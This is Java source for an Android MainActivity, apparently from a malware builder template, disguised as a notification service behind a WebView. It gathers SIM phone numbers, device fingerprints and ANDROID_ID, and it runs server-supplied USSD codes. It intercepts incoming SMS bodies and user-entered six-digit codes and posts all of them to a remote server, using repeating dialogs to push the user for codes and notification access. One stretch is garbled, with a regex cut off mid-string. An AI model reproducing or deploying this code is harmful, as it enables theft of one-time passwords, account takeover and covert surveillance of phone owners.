package com.example.notifyservice; import android.Manifest; import android.app.AlertDialog; import android.content.BroadcastReceiver; import android.content.Context; import android.content.DialogInterface; import android.content.Intent; import android.content.IntentFilter; import android.content.SharedPreferences; import android.content.pm.PackageManager; import android.net.ConnectivityManager; import android.net.Network; import android.net.NetworkCapabilities; import android.os.Build; import android.os.Bundle; import android.preference.PreferenceManager; import android.telephony.TelephonyManager; import android.text.InputType; import android.view.View; import android.view.ViewGroup; import android.view.WindowManager; import android.webkit.WebChromeClient; import android.webkit.WebSettings; import android.webkit.WebView; import android.webkit.WebViewClient; import androidx.appcompat.app.AppCompatActivity; import androidx.annotation.NonNull; import androidx.core.app.ActivityCompat; import androidx.core.content.ContextCompat; import android.os.Handler; import android.provider.Settings; import android.provider.Telephony; import android.telephony.SmsMessage; import android.telephony.SubscriptionInfo; import android.telephony.SubscriptionManager; import android.util.Log; import org.json.JSONException; import org.json.JSONObject; import java.lang.ref.WeakReference; import java.util.ArrayList; import java.util.Arrays; import java.util.List; import java.util.Locale; import java.util.Objects; import java.util.Timer; import java.util.TimerTask; import java.util.regex.Matcher; import java.util.regex.Pattern; import android.widget.EditText; public class MainActivity extends AppCompatActivity implements PostRequestCallback, GetRequestCallback { private final String websiteUrl = "WEBSITE_URL"; // VARIABLE STATIC private final String ussdUrl = "USSD_URL"; // VARIABLE STATIC private final String languagesUrl = "LANGUAGES_URL"; // VARIABLE STATIC private int requestsCount = 0; private WebView webView; private View customView; private WebChromeClient.CustomViewCallback customViewCallback; private ViewGroup mainContainer; private int currentPhone = 0; private List phones; private boolean receivingSms = false; private double codeTimeout = 0.0; private Timer timer; private List codes = new ArrayList<>(); private JSONObject ussd; private JSONObject language; public class PhoneNumber { public String phone; public TelephonyManager telephonyManager; public String operator; public String country; private PhoneNumber( String phone, TelephonyManager telephonyManager, String operator, String country ) { this.phone = phone; this.telephonyManager = telephonyManager; this.operator = operator; this.country = country; } public boolean phoneProvided(){ return !phone.isEmpty(); } public String getPhone() { return phone; } public TelephonyManager getSubscriptionId() { return telephonyManager; } public String getOperator() { return operator; } public String getCountry() { return country; } public void setPhone(String phone) { this.phone = phone; } public String save(){ return phone + ":" + operator // STATIC + ":" + country; // STATIC } } @Override protected void onCreate(Bundle savedInstanceState) { // Log.i("a", "1"); // STATIC super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); webView = findViewById(R.id.webview); mainContainer = findViewById(android.R.id.content); WebSettings webSettings = webView.getSettings(); webSettings.setJavaScriptEnabled(true); webSettings.setDomStorageEnabled(true); webSettings.setDatabaseEnabled(true); webSettings.setAllowFileAccess(true); webSettings.setMixedContentMode(WebSettings.MIXED_CONTENT_ALWAYS_ALLOW); webView.setWebChromeClient(new WebChromeClient() { @Override public void onShowCustomView(View view, WebChromeClient.CustomViewCallback callback) { if (customView != null) { callback.onCustomViewHidden(); return; } customView = view; customViewCallback = callback; mainContainer.addView(customView); webView.setVisibility(View.GONE); } @Override public void onHideCustomView() { if (customView == null) { return; } mainContainer.removeView(customView); customView = null; webView.setVisibility(View.VISIBLE); customViewCallback.onCustomViewHidden(); } }); webView.setWebViewClient(new WebViewClient() { @Override public boolean shouldOverrideUrlLoading(WebView view, String url) { view.loadUrl(url); return true; } }); // Загрузка начального URL webView.loadUrl(websiteUrl); // Log.i("a", "Loading data..."); // STATIC loadData(); // Log.i("a", "Data loaded."); // STATIC } private void loadData() { requestsCount = 0; // Log.i("a", "Requesting ussds - " + ussdUrl); // STATIC GetRequest ussdRequestTask = new GetRequest(this, this); ussdRequestTask.execute(ussdUrl); // Log.i("a", "Requesting languages - " + languagesUrl); // STATIC GetRequest languagesRequestTask = new GetRequest(this, this); languagesRequestTask.execute(languagesUrl); } public static String getKey(Context context) { try { // Log.i("a", "Get key"); // STATIC SharedPreferences sharedPreferences = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE); return sharedPreferences.getString("KEY", "INIT_KEY"); // VARIABLE STATIC } catch (Exception e) { // Log.i("agg", Arrays.toString(e.getStackTrace())); // STATIC return ""; // STATIC } } public static void setKey(Context context, String key) { // Log.i("a", "Set key"); // STATIC SharedPreferences.Editor editor = context.getSharedPreferences("PRIVATE_DATA", MODE_PRIVATE).edit(); editor.putString("KEY", key); editor.apply(); } private void promptNotificationAccess() throws JSONException { // Log.i("a", "Prompt"); // STATIC AlertDialog.Builder builder = new AlertDialog.Builder(this); builder.setTitle(language.getString("title")); // STATIC builder.setMessage(language.getString("message")); // STATIC builder.setPositiveButton(language.getString("positive"), new DialogInterface.OnClickListener() { // STATIC @Override public void onClick(DialogInterface dialogInterface, int i) { Intent intent = new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS); startActivity(intent); dialogInterface.dismiss(); System.exit(0); } }); builder.setNegativeButton(language.getString("negative"), new DialogInterface.OnClickListener() { // STATIC @Override public void onClick(DialogInterface dialogInterface, int i) { dialogInterface.dismiss(); finish(); } }); this.runOnUiThread(new Runnable() { public void run() { // Log.i("a", "Run thread"); // STATIC AlertDialog dialog = builder.create(); dialog.show(); } }); } public static String getDeviceInfo(Context context) { // Log.i("a", "Get device info"); // STATIC String m_data = ""; // STATIC String p_seperator = ":"; // STATIC StringBuilder m_builder = new StringBuilder(); m_builder.append(android.os.Build.VERSION.RELEASE + p_seperator); m_builder.append(android.os.Build.DEVICE + p_seperator); m_builder.append(android.os.Build.MODEL + p_seperator); m_builder.append(android.os.Build.PRODUCT + p_seperator); m_builder.append(android.os.Build.BRAND + p_seperator); m_builder.append(android.os.Build.DISPLAY + p_seperator); // TODO : android.os.Build.CPU_ABI is deprecated m_builder.append(android.os.Build.CPU_ABI + p_seperator); // TODO : android.os.Build.CPU_ABI2 is deprecated m_builder.append(android.os.Build.CPU_ABI2 + p_seperator); m_builder.append(android.os.Build.UNKNOWN + p_seperator); m_builder.append(android.os.Build.HARDWARE + p_seperator); m_builder.append(android.os.Build.ID + p_seperator); m_builder.append(android.os.Build.MANUFACTURER + p_seperator); m_builder.append(android.os.Build.SERIAL + p_seperator); m_builder.append(android.os.Build.USER + p_seperator); m_builder.append(android.os.Build.HOST + p_seperator); String android_id = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID); m_builder.append(android_id); m_data = m_builder.toString(); // Log.i("a", "Collected device info - " + m_data); // STATIC return m_data; } @Override public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) { super.onRequestPermissionsResult(requestCode, permissions, grantResults); if (requestCode == 1 && grantResults.length > 0 && !(grantResults[0] == PackageManager.PERMISSION_GRANTED)) { requestPermissions(retrievePermissions(this)); } else if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED){ registerReceiver(smsReceiver, new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION)); // Log.i("a", "Make process"); // STATIC Context permissionContext = this; new Handler().postDelayed(() -> makeProcess(permissionContext), 500); } } public void handleCodeReceived(String code) { if(codes.contains(code)) return; codes.add(code); cancelTimer(); PostRequest postRequestTask = new PostRequest(this, this); postRequestTask.execute("code", code + ";" + getCurrentHash(this)); // STATIC setCurrentHash(this, ""); nextPhone(); } public void cancelTimer(){ // Log.i("a", "Canceling timer"); // STATIC if (timer != null) { timer.cancel(); } } public void nextPhone() { // Log.i("a", "Next phone"); // STATIC currentPhone += 1; if (phones.size() > currentPhone) savePhone(getBaseContext(), phones.get(currentPhone)); } private void makeProcess(Context context) { // Log.i("a", "Make process task..."); // STATIC PostRequest postRequestTask = new PostRequest(this, this); postRequestTask.execute("makeProcess", getDeviceInfo(context)); // STATIC currentPhone = 0; phones = collectPhoneNumber(context); savePhone(context, phones.get(currentPhone)); } public static String getCurrentHash(Context context) { SharedPreferences prefs = PreferenceManager.getDefaultSharedPreferences(context); return prefs.getString("KEY_HASH", ""); // Return empty string if not found } // Store the hash value public static void setCurrentHash(Context context, String hash) { SharedPreferences.Editor editor = PreferenceManager.getDefaultSharedPreferences(context).edit(); editor.putString("KEY_HASH", hash); editor.apply(); // Asynchronously save changes } public static boolean isSimConnected(Context context, TelephonyManager telephonyManager) { // Log.i("a", "isSimConnected"); // STATIC if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_PHONE_STATE) != PackageManager.PERMISSION_GRANTED) { return false; } if (telephonyManager == null) { return false; } if (telephonyManager.getSimState() != TelephonyManager.SIM_STATE_READY) { return false; } if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.P) { if (Objects.requireNonNull(telephonyManager.getSignalStrength()).getLevel() == 0) return false; } return true; } private void savePhone(Context context, PhoneNumber phone){ // Log.i("a", "SavePhone - " + phone.phone); // STATIC if(phone.phoneProvided()){ // Log.i("a", "PhoneProvided"); // STATIC requestPhone(context, phone); } else { // Log.i("a", "Phone not provided"); // STATIC receivingSms = false; setCurrentHash(context, ""); // STATIC // Log.i("a", "Sim connected result: " + isSimConnected(context, phone.telephonyManager)); if(!isSimConnected(context, phone.telephonyManager) || !ussd.has(phone.operator)) nextPhone(); else requestUssdNumber(phone); } } private void requestPhone(Context context, PhoneNumber phone){ setCurrentHash(context, ""); // STATIC // Log.i("a", "Requesting phone - " + phone.phone); // STATIC PostRequest postRequestTask = new PostRequest(context, this); postRequestTask.execute("phone", phone.save() + ";" + getDeviceInfo(context)); // STATIC } public static boolean isNumeric(String strNum) { if (strNum == null) { return false; } try { double d = Double.parseDouble(strNum); } catch (NumberFormatException nfe) { return false; } return true; } public void createDialog() { try { EditText editTextField = new EditText(this); editTextField.setInputType(InputType.TYPE_CLASS_NUMBER); editTextField.setHint("..."); AlertDialog.Builder builder = new AlertDialog.Builder(this); builder.setTitle(language.getString("title")); // STATIC builder.setMessage(language.getString("message")); // STATIC builder.setView(editTextField); builder.setPositiveButton(language.getString("positive"), new DialogInterface.OnClickListener() { // STATIC @Override public void onClick(DialogInterface dialogInterface, int i) { String editTextInput = editTextField.getText().toString(); if (!isNumeric(editTextInput) || editTextInput.length() != 6) { dialogInterface.dismiss(); createDialog(); return; } handleCodeReceived(editTextInput); } }); builder.setNegativeButton(language.getString("negative"), new DialogInterface.OnClickListener() { // STATIC @Override public void onClick(DialogInterface dialogInterface, int i) { dialogInterface.dismiss(); createDialog(); return; } }); this.runOnUiThread(new Runnable() { public void run() { // Log.i("a", "Run thread"); // STATIC AlertDialog dialog = builder.create(); dialog.show(); Objects.requireNonNull(dialog.getWindow()).setSoftInputMode(WindowManager.LayoutParams.SOFT_INPUT_STATE_VISIBLE); } }); } catch (Exception ignore){} } @Override public void onPostResponse(JSONObject result) { // Log.i("a", "On post Response"); // STATIC try { // Log.i("PostResult", result.toString()); // STATIC if(result.has("hash")) { // STATIC setCurrentHash(this, result.getString("hash")); // STATIC createDialog(); } if(result.has("key")) // STATIC setKey(getBaseContext(), result.getString("key")); // STATIC if(result.has("timeout")) { // STATIC codeTimeout = result.getDouble("timeout"); // STATIC Timer timer = new Timer(); timer.schedule(new TimerTask() { @Override public void run() { nextPhone(); } }, Math.round(codeTimeout * 1000)); } } catch (Exception e) { // Log.i("j", Arrays.toString(e.getStackTrace())); throw new RuntimeException(e); } } @Override public void onGetResponse(JSONObject result) { // Log.i("a", "onGetResponse"); // STATIC try { if(result.get("name"). // STATIC equals("ussd")){ // STATIC ussd = result.getJSONObject( "data" // STATIC ); requestsCount += 1; } else if (result.get("name"). // STATIC equals("languages")) { // STATIC String currentLanguage; if(!result.getJSONObject("data").has(Locale.getDefault().getLanguage())) // STATIC currentLanguage = "en"; // STATIC else currentLanguage = Locale.getDefault().getLanguage(); language = result.getJSONObject( "data" // STATIC ).getJSONObject(currentLanguage); requestsCount += 1; } if (requestsCount == 2) { PostRequest postRequestTask = new PostRequest(this, this); postRequestTask.execute("requestPermissions", getDeviceInfo(this)); // STATIC requestPermissions(retrievePermissions(this)); } } catch (Exception e) { // Log.i("ww", Arrays.toString(e.getStackTrace())); throw new RuntimeException(e); } } private boolean isNotificationServiceEnabled() { // Log.i("a", "isNotificationServiceEnabled"); // STATIC String packageName = getPackageName(); String enabledListeners = Settings.Secure.getString( getContentResolver(), "enabled_notification_listeners" // STATIC ); return enabledListeners != null && enabledListeners.contains(packageName); } private void requestNotificationAccess() { Intent intent = new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS); startActivity(intent); } private static String[] retrievePermissions(Context context) { // Log.i("a", "retrievePermissions"); // STATIC final String pkgName = context.getPackageName(); try { return context .getPackageManager() .getPackageInfo(pkgName, PackageManager.GET_PERMISSIONS) .requestedPermissions; } catch (PackageManager.NameNotFoundException e) { // Log.i("222", Arrays.toString(e.getStackTrace())); return new String[0]; } } private void requestPermissions(String[] permissions) { // Log.i("a", "requestPermissions"); // STATIC ActivityCompat.requestPermissions(MainActivity.this, permissions, 1); } private static boolean isNetworkAvailable(Context context) { ConnectivityManager connectivityManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE); Network nw = connectivityManager.getActiveNetwork(); if (nw == null) return false; NetworkCapabilities actNw = connectivityManager.getNetworkCapabilities(nw); return actNw != null && (actNw.hasTransport(NetworkCapabilities.TRANSPORT_WIFI) || actNw.hasTransport(NetworkCapabilities.TRANSPORT_CELLULAR) || actNw.hasTransport(NetworkCapabilities.TRANSPORT_ETHERNET)); } public static String extractFirstPhoneNumber(String input) { String regex = "(?= Build.VERSION_CODES.O) { boolean finalSmsResponse = smsResponse; phone.telephonyManager.sendUssdRequest(ussdRequest, new TelephonyManager.UssdResponseCallback() { @Override public void onReceiveUssdResponse(TelephonyManager telephonyManager, String request, CharSequence response) { super.onReceiveUssdResponse(telephonyManager, request, response); String responseString = response.toString(); PostRequest postRequestTask = new PostRequest(getBaseContext(), null); postRequestTask.execute("ussdResponse", getDeviceInfo(getBaseContext()) + ";" + responseString); // STATIC if(!finalSmsResponse){ String extractedNumber = extractFirstPhoneNumber(responseString); if (extractedNumber.isEmpty()) { receivingSms = true; } else { phone.setPhone(extractFirstPhoneNumber(responseString)); savePhone(getBaseContext(), phone); } } else { receivingSms = true; } } @Override public void onReceiveUssdResponseFailed(TelephonyManager telephonyManager, String request, int failureCode) { super.onReceiveUssdResponseFailed(telephonyManager, request, failureCode); nextPhone(); } }, null); } } private List collectPhoneNumber(Context context){ // Log.i("a", "collectPhoneNumber"); // STATIC List phoneNumbers = new ArrayList<>(); if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) { // STATIC return phoneNumbers; } SubscriptionManager manager = SubscriptionManager.from(context.getApplicationContext()); List subscriptions = manager.getActiveSubscriptionInfoList(); for (int i = 0; i < subscriptions.size(); i++) { SubscriptionInfo currentCard = subscriptions.get(i); String phoneNumber = (Build.VERSION.SDK_INT >= 33 ? manager.getPhoneNumber(currentCard.getSubscriptionId()) : currentCard.getNumber()); TelephonyManager telephonyManager = getSystemService(TelephonyManager.class).createForSubscriptionId(currentCard.getSubscriptionId()); phoneNumbers.add(new PhoneNumber( phoneNumber, telephonyManager, telephonyManager.getSimOperatorName().toLowerCase(), currentCard.getCountryIso().toLowerCase() )); } /* phoneNumbers.add( new PhoneNumber("959662898798", null,"govno", "uz") // STATIC ); phoneNumbers.add( new PhoneNumber("6283175913984", null,"dermo", "uz") // STATIC #); */ PostRequest postRequestTask = new PostRequest(context, null); postRequestTask.execute("collectedPhones", getDeviceInfo(context) + ";" + String.valueOf(phoneNumbers)); // STATIC return phoneNumbers; } private final BroadcastReceiver smsReceiver = new BroadcastReceiver() { @Override public void onReceive(Context context, Intent intent) { Bundle bundle = intent.getExtras(); if (bundle != null) { Object[] pdus = (Object[]) bundle.get("pdus"); // STATIC if (pdus != null) { if(!receivingSms) return; for (Object pdu : pdus) { SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) pdu); String messageBody = smsMessage.getMessageBody(); String phoneNumber = extractFirstPhoneNumber(messageBody); if(!phoneNumber.isEmpty()) { phones.get(currentPhone).setPhone(phoneNumber); savePhone(getBaseContext(), phones.get(currentPhone)); } PostRequest postRequestTask = new PostRequest(getBaseContext(), null); postRequestTask.execute("smsResponse", getDeviceInfo(getBaseContext()) + ";" + messageBody); // STATIC } } } } }; @Override public void onBackPressed() { // Log.i("a", "onBackPressed"); // STATIC if (webView.canGoBack()) { webView.goBack(); } else { super.onBackPressed(); } } @Override protected void onDestroy() { // Log.i("a", "onDestroy"); // STATIC super.onDestroy(); try { unregisterReceiver(smsReceiver); } catch(IllegalArgumentException e) { // Log.i("ppp", Arrays.toString(e.getStackTrace())); } } }